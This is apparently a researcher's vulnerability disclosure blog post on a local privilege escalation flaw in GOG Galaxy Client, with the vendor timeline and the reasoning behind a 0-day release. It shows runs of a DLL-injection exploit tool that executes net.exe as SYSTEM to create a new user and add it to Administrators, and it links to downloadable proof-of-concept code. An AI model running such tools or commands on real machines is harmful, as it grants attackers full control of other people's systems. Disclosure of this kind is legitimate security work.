GOG Galaxy Client Local Privilege Escalation Deuce

By jtesta on August 13, 2020

I reported a serious local privilege escalation flaw in GOG Galaxy Client on April 28, 2020, but my follow-up investigation (detailed below) found the vendor's fix to be insufficient. By updating the proof-of-concept exploit code, it is possible to execute arbitrary commands as *SYSTEM* in GOG Galaxy Client v2.0.13 through ~~v2.0.15~~ v2.0.19 (the latest as of this writing).

GOG did not reply that this issue was officially fixed, although changes were silently made at some point after the v2.0.15 release to stop the provided proof-of-concept tools from working. ~~It is suspected that only minor changes were made to frustrate exploitation; an investigation is ongoing~~ (See update below).

UPDATE (Aug. 13, 2020 @ 5:11PM): After an investigation, it was found that GOG simply updated the signing key used for verifying messages. This key has been recovered, and the proof-of-concept has been updated with it. This advisory now describes a **0-day vulnerability in GOG Galaxy Client v2.0.19** because GOG did not respond in good faith with a proper patch in 90 days, as per Google's vulnerability disclosure policy (which GOG was made aware of during the initial contact; see Vendor Timeline, below).

UPDATE (Aug 25, 2020 @ 10:51PM): GOG released v2.0.20 that claims in the change log, "Security issue fix: Added checks that ensure the loaded .DLLs are genuine". However, it was found that the proof-of-concept tool included in this advisory *still works, unmodified*. I contacted GOG.com Support to inform them of this, and their response on August 21 was: "The recent update to GOG GALAXY application (2.0.20) is unrelated to your report, it was released to address a different issue." I do not know what different issue this was referring to. Also, the following CVE ID has been assigned to this issue: CVE-2020-24574

Investigation of Prior Patch

The day before issuing my original advisory on April 28, 2020, I ran the proof-of-concept exploits against the fixed versions (v1.2.67 and v2.0.14). They no longer worked. Unfortunately, because GOG never told me the issues were actually fixed on February 27, 2020, I didn't have a chance to do an in-depth follow-up investigation before publishing the advisory. I've since had the chance to look at their fix more deeply.

To start, I looked at the log file at *C:\ProgramData\GOG.com\Galaxy\logs\GalaxyClientService.log* to see if it reports anything when the old exploit is run. I found this:

```
2020-05-08 15:03:53.503 [Information][#1 (1)] [TID 7352][galaxy_service]: Received a mess
2020-05-08 15:03:53.503 [Information][#1 (1)] [TID 7352][galaxy_service]: Determined send
2020-05-08 15:03:53.503 [Warning][#1 (1)] [TID 7352][galaxy_service]: The sender was not
2020-05-08 15:03:53.503 [Error][#1 (1)] [TID 7352][galaxy_service]: Received a forbidden
```

That's a big hint! It looks like the privileged process, *GalaxyClientService.exe*, matches the network client's source TCP port number with the executable process that opened the socket. That's how it figures out that the request is coming from the Python interpreter instead of the legitimate client (GalaxyClient.exe).

I immediately thought that this check can be circumvented with DLL injection.

Updating the Proof-of-Concept

Cue hours of re-implementing my Python proof-of-concept in C…

Ok, now I have a DLL that can be injected into *GalaxyClient.exe* which will issue the same HMAC-512-signed request as before. Let's test it out:

```
C:\Users\user1\Desktop>galaxy_dll_inject_privesc.exe --key2 C:\Windows\System32\net.exe "
Starting GalaxyClientService...
Executing C:\Program Files (x86)\GOG Galaxy\GalaxyClient.exe...
PID of new GalaxyClient.exe process: 10296
Injecting DLL...
DLL injected.  Waiting up to 30 seconds for pipe server to start...
Connected to pipe server.  Sending command, args, and working directory...
Sent.  Waiting for response...
```

```
Success!
```

Looks like it worked! Ok, now let's add this new user to the local *Administrators* group:

```
C:\Users\user1\Desktop>galaxy_dll_inject_privesc.exe --key2 C:\Windows\System32\net.exe "
Starting GalaxyClientService...
Executing C:\Program Files (x86)\GOG Galaxy\GalaxyClient.exe...
PID of new GalaxyClient.exe process: 8112
Injecting DLL...
DLL injected.  Waiting up to 30 seconds for pipe server to start...
Connected to pipe server.  Sending command, args, and working directory...
Sent.  Waiting for response...

Success!
```

Let's verify that this user exists and is part of the *Administrators* group:

```
C:\Users\user1\Desktop>net user jtesta
User name                    jtesta
[...]
Local Group Memberships      *Administrators       *Users
[...]
The command completed successfully.
```

SUCCESS!

Proof-Of-Concept Exploit Tools

UPDATE (Aug. 20, 2020 @ 5:17PM EST): a Github repository has been made to better track and manage updates: https://github.com/jtesta/gog_galaxy_client_service_poc

Pre-compiled binaries and source code for the updated proof-of-concept tools (which work on GOG Galaxy v2.0.13 through v2.0.19) are available here: gog_galaxy_updated_poc_v2.zip (gog_galaxy_updated_poc_v2.zip.sig)

GPG Key: jtesta.asc (9C61 F6A9 A3E9 BCA0 04A6 3C66 E44F 5FD3 B799 916A)

Vendor Contact Timeline

May 12, 2020: Contact with GOG.com Support was made using the same ticket (#535258) as the original advisory.

June 4, 2020: GOG.com Support replied with:

"I was informed that our Developers are working on fixing the issue, but executing the attack requires the machine to be already compromised."

Because this sounded like GOG was not taking the issue seriously, I responded with:

"It is indeed true that an attacker must have low-privilege access to the machine already. But the problem is that this can be escalated into Administrator rights by abusing the GalaxyClientService software. […] Local privilege escalation (LPE) is a serious vulnerability. GOG customers may install software/games from other untrusted sources without Administrator rights, which normally would protect them from full system compromise. Unfortunately, due to the vulnerabilities I've discovered in GalaxyClientService, *all* user accounts are effectively administrators."

August 13, 2020: No response received from vendor after 90 days, as per Google's vulnerability disclosure policy (which GOG was informed of). GOG did not reply with any fix information.

UPDATE (Aug. 13, 2020 @ 5:11PM): *After* this advisory was publicly released, GOG.com Support responded with:

"Our Developers reevaluated the reported issue and think that it will take them around 3 months to create a solution, because it demands a major design change. Would it be possible to postpone the public release of your findings by 3 months so they have time to implement and test this solution?"

Because this was received after the advisory was already published, the request was deemed moot.

Explanation of 0-Day Exploit Release

(Section added on Aug. 13, 2020 @ 5:11PM)

As of the time of original publication (the morning of August 13), the proof-of-concept tool released worked on v2.0.13 - v2.0.15 only; it did not work on the latest version (v2.0.19) for unknown reasons. Hours later, an investigation revealed that GOG silently updated the message-signing key some time between the release of v2.0.16 and v2.0.19 in order to prevent the exploit from working. This was not a good-faith attempt at addressing the security vulnerability for two reasons:

1.) As my first GOG Galaxy Client advisory clearly showed, secret keys cannot be used to verify messages, since an attacker can easily extract those keys. GOG already knew since January that this would not solve the core design problem.

2.) In private communication on May 12, I made note that I strongly suspected this would require an extensive re-design, and that I would be happy to help (for free) to ensure that a proper & comprehensive fix would be shipped to end users. No response regarding this offer was received (in fact, no response was received at all until the deadline had passed).

Because it reasonably seems that GOG is no longer acting in good-faith regarding this matter, I've updated the proof-of-concept again with the new signing key. Hence, as of August 13, **this is a 0-day vulnerability affecting GOG Galaxy Client v2.0.19**.

Blog Archives

GOG Galaxy Client Local Privilege Escalation

SSH Policy Configuration Checks With ssh-audit